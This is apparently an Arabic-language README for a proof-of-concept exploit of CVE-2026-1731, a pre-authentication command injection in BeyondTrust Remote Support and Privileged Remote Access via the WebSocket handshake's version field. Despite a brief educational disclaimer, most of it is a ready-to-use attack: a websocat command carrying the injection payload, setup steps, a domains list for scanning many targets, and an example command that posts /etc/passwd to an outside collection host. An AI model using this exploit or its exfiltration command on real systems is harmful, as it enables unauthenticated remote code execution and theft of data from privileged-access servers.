
CVE-2026-1731 - ثغرة حقن أوامر حرجة في BeyondTrust Remote Support وPrivileged Remote Access بسبب تقييم حسابي غير آمن في Bash داخل سكربت يمكن الوصول إليه عبر WebSocket
[!WARNING] هذا السكربت مخصص للأغراض التعليمية والبحثية فقط. لا تستخدمه ضد أنظمة بدون إذن صريح. يعد الوصول أو الاختبار غير المصرح به غير قانوني وغير أخلاقي. اقرأ إخلاء المسؤولية الكامل قبل استخدام هذا السكربت.
يوضح هذا السكربت ثغرة حقن أوامر حرجة (CVE-2026-1731) تؤثر على BeyondTrust Remote Support (RS) و Privileged Remote Access (PRA). يعود أصل المشكلة إلى نفس نقطة النهاية التي يمكن الوصول إليها عبر WebSocket والتي كانت موضوع الثغرة البارزة سابقًا CVE-2024-12356، ما يجعل هذه الثغرة متغيرًا وثيق الصلة بها.
توجد الثغرة لأن سكربت thin-scc-wrapper على الخادم يجري مقارنات حسابية على مدخلات يتحكم فيها المهاجم، وتحديدًا قيمة remoteVersion التي تُرسل أثناء مصافحة WebSocket. تتعامل Bash مع المعاملات في المقارنات الرقمية على أنها تعبيرات وليس سلاسل نصية عادية، وهو ما يسمح بحمولات مصممة مثل a[$(cmd)]0 على تنفيذ أوامر عشوائية أثناء التقييم.
على الرغم من أن BeyondTrust أضافت فحصًا عدديًا للسلامة في هذه الدورة من التصحيحات، إلا أن ذلك لا يمنع Bash من إجراء تقييم التعبيرات لاحقًا، ما يترك نقطة النهاية قابلة للاستغلال. يمكن للمهاجمين الحصول على تنفيذ للكود بمجرد فتح اتصال WebSocket وإرسال قيمة إصدار خبيثة قبل المصادقة.
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(ضعه في نفس المجلد الذي يحتوي على سكربت بايثون الخاص بك.)
أو انقله ليكون متاحًا على مستوى النظام:
sudo mv websocat /usr/local/bin/
domains.txt في نفس المجلدأضف العناوين التي تريد اختبارها:
example1.com
example2.com
example3.com
عدّل السطر التالي في السكربت لضبط الأمر الذي تريد أن ينفذه استغلال WebSocket:
CMD = "YOUR-COMMAND-HERE"
على سبيل المثال:
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
بمجرد ضبط الأمر، شغّل السكربت:
python3 exploit.py
أو اجعله قابلًا للتنفيذ وشغّله مباشرة:
chmod +x exploit.py
./exploit.py